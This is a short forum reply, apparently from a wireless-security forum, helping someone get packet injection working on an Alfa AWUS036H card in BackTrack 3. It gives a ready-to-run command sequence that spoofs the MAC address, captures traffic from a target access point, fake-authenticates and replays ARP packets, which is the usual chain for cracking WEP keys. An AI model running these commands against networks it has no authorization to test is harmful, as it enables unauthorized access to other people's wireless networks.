Well I can confirm that injection is supported out of the box for AWUS036H in BT3b so the problem is most likely to be found in your commands. You should post the actual commands that you use and not only the tutorial that you say that you have followed. This would make it easy for any of us to check that you do not have some error in them.
However these commands should work fine for your Alfa card:
Just input the right channel number, name of the AP (only needed if it is cloaked) and BSSID of the AP.Code:iwconfig wlan0 mode monitor macchanger -A wlan0 airodump-ng wlan0 -c X --bssid XX:XX:XX:XX:XX:XX -w filename aireplay-ng -1 0 -e APname -a XX:XX:XX:XX:XX:XX wlan0 aireplay-ng -3 -b XX:XX:XX:XX:XX:XX